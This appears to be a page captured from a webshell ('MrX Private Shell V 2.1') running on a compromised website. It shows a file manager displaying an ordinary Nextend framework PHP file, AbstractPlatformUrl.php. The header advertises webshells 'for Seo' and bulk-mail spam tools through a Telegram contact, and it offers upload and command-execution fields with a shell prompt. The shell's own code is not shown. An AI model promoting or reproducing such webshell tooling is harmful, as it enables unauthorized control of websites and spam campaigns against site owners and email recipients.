__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Url;

use Nextend\Framework\Filesystem\Filesystem;

abstract class AbstractPlatformUrl {

    public $uris = array();

    protected $siteUrl;

    /**
     * @var string It can be relative or absolute uri. It must not end with /
     * @example https://asd.com/wordpress
     * @example /wordpress
     */
    protected $_baseuri;

    protected $_currentbase = '';

    protected $scheme = 'http';

    public function getUris() {

        return $this->uris;
    }

    protected function getUriByIndex($i, $protocol = true) {
        if (!$protocol) {
            return preg_replace('/^http:/', '', $this->uris[$i]);
        }

        return $this->uris[$i];
    }

    public function setBaseUri($uri) {
        $this->_baseuri = $uri;
    }

    public function getSiteUri() {
        return $this->siteUrl;
    }

    public function getBaseUri() {

        return $this->_baseuri;
    }

    public function getFullUri() {

        return $this->_baseuri;
    }

    public function pathToUri($path, $protocol = true) {

        $from = array();
        $to   = array();

        $basePath = Filesystem::getBasePath();
        if ($basePath != '/' && $basePath != "\\") {
            $from[] = $basePath;
            $to[]   = '';
        }
        $from[] = DIRECTORY_SEPARATOR;
        $to[]   = '/';

        return ($protocol ? $this->_baseuri : preg_replace('/^http:/', '', $this->_baseuri)) . str_replace($from, $to, str_replace('/', DIRECTORY_SEPARATOR, $path));
    }

    public function ajaxUri($query = '') {

        return $this->_baseuri;
    }

    public function fixrelative($uri) {
        if (substr($uri, 0, 1) == '/' || strpos($uri, '://') !== false) return $uri;

        return $this->_baseuri . $uri;
    }

    public function relativetoabsolute($uri) {

        if (strpos($uri, '://') !== false) return $uri;
        if (!empty($this->_baseuri) && strpos($uri, $this->_baseuri) === 0) {
            $uri = substr($uri, strlen($this->_baseuri));
        }

        return $this->_currentbase . $uri;
    }

    public function addScheme($url) {
        return $this->scheme . ':' . $url;
    }
}

Filemanager

Name Type Size Permission Actions
Joomla Folder 0775
AbstractPlatformUrl.php File 2.12 KB 0664
Url.php File 1.5 KB 0664
UrlHelper.php File 8.99 KB 0664
Filemanager